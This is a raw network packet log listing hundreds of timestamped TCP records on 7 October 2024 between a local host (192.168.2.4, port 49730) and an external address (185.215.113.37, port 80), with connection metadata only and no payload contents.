Oct 7, 2024 21:19:21.797372103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797383070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797391891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797401905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797410965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797420979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797430992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.797497034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.797571898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798146963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798192024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798201084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798202991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798237085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798253059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798326015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798338890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798351049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798360109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798393965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798418999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798507929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798517942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798527956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.798562050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.798585892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.805567980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805588961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805602074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805651903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.805677891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.805742025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805819988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805835009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805871010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.805892944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.805919886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805932999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805943012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805953979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.805984020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806010008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806106091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806118965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806129932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806178093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806178093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806241035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806287050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806317091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806329966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806360960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806380033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806449890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806461096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806471109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806499004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806556940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806576967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806619883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806628942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806643009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806652069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806679964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806699038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806772947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806787014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806797028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806807995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806832075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806844950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.806941032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806953907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.806988001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807010889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807101965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807116985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807127953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807138920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807167053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807192087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807265043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807277918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807317972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807347059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807441950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807452917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807463884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807473898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807483912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807495117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807499886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807542086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807663918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807718039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807828903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807845116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807857990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807868004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.807893991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.807921886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.840723991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.840764046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.840933084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.840933084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.879923105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.879939079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.879950047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880018950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880048990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880059004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880073071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880083084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880093098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880094051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880131006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880148888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880201101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880243063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880273104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880284071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880316019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880386114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880397081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.880428076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.880448103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.923576117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923588991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923604965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923615932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923625946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923635960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923645020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923651934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923669100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.923738956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.923928022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923938990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923948050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923955917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923964977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923973083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.923984051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924009085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924021006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924098015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924108982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924117088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924144030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924155951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924191952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924201012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924210072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924232006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.924233913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924263954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.924288988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930274963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930285931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930291891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930383921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930387020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930398941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930413008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930430889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930461884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930505991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930519104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930531979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930552959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930577993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930608988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930629969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930668116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930681944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930713892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930726051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930769920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930783033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930826902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930864096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930877924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930907965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930936098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.930968046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930980921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.930993080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931027889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931056023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931157112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931175947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931222916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931232929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931276083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931284904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931298018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931332111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931344032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931412935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931426048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931473970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931510925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931524038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931535959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931549072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931557894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931562901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931593895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931622982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931730986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931744099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931776047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931790113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931802034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931905985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931917906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931931019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931943893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931950092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931957006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931969881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931982040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.931984901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.931997061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932008982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932030916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932059050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932236910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932262897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932284117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932296991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932388067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932399035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932432890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932516098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932558060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932559967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932570934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.932604074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.932617903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.987274885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.987288952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.987301111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.987366915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.987430096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.004519939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004548073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004564047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004580975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004592896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004684925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.004755974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.004765034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004782915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004793882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004833937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.004897118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.004924059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004936934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004946947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.004981041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.005008936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.005076885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.007963896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.047861099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.047902107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.047919989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.047971964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.047998905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048088074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048218012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048280954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048294067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048331022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048362970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048373938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048386097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048430920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048469067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048480034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048516035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048630953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048649073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048657894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048686981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048726082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048825026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048836946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048846960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048856020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048865080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048875093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.048877954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048902988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.048914909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.049062967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.049074888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.049107075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.049133062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.054729939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054750919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054759979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054812908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.054845095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054857016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054894924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.054909945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.054965019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054975986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054986000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.054996967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055006027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055018902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055058956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055069923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055134058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055247068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055481911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055494070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055511951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055525064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055533886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055537939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055555105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055574894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055599928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055614948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055656910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055731058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055742979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055752993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055773973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055802107 CEST	49730	80	192.168.2.4	185.215.113.37
